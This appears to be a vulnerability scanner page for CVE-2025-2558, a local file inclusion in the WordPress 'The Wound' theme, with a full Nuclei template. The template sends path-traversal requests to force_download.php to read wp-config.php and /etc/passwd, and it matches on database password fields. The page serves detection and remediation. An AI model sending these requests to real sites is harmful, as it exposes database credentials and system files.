WordPress The Wound Theme <= 0.0.1 - Local File Inclusion

highseverity

8.6CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

The-wound WordPress theme through 0.0.1 contains a local file inclusion caused by insufficient validation of parameters used to generate paths passed to include functions, letting unauthenticated users perform LFI attacks and download arbitrary files from the server.

Impact

Unauthenticated attackers can include arbitrary local files, potentially leading to information disclosure or remote code execution.

Fix

Update to the latest version of the theme where the issue is fixed or apply security patches that validate parameters properly.

How to confirm it

Send: GET {{BaseURL}}/wp-content/themes/the-wound/style.css
Positive when: status_code == 200 and compare_versions(version, '<= 0.0.1')
Send: GET {{BaseURL}}/wp-content/themes/the-wound/force_download.php?file=../../../wp-config.php ; GET {{BaseURL}}/wp-content/themes/the-wound/force_download.php?file=/etc/passwd
Positive when: status_code == 200 and regex('root:.*:0:0:', body) OR status_code == 200 and contains_all(body, "DB_NAME", "DB_PASSWORD")

Run it with nuclei: nuclei -id CVE-2025-2558 -u <target>

The full check

id: CVE-2025-2558

info:
  name: WordPress The Wound Theme <= 0.0.1 - Local File Inclusion
  author: pussycat0x
  severity: high
  description: |
    The-wound WordPress theme through 0.0.1 contains a local file inclusion caused by insufficient validation of parameters used to generate paths passed to include functions, letting unauthenticated users perform LFI attacks and download arbitrary files from the server.
  impact: |
    Unauthenticated attackers can include arbitrary local files, potentially leading to information disclosure or remote code execution.
  remediation: |
    Update to the latest version of the theme where the issue is fixed or apply security patches that validate parameters properly.
  reference:
    - https://wpscan.com/vulnerability/6a8e1c89-a01d-4347-91fc-ba454784b153/
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/the-wound/the-wound-001-unauthenticated-local-file-inclusion
    - https://nvd.nist.gov/vuln/detail/cve-2025-2558
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 3
    vendor: developer
    product: the-wound
    shodan-query: http.component:"WordPress"
  tags: cve,cve2025,wordpress,wp-theme,lfi,the-wound,wpscan,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/themes/the-wound/style.css'

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "compare_versions(version, '<= 0.0.1')"
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - 'Version: ([0-9.]+)'
        internal: true

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/themes/the-wound/force_download.php?file=../../../wp-config.php'
      - '{{BaseURL}}/wp-content/themes/the-wound/force_download.php?file=/etc/passwd'

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "regex('root:.*:0:0:', body)"
        condition: and

      - type: dsl
        dsl:
          - "status_code == 200"
          - contains_all(body, "DB_NAME", "DB_PASSWORD")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from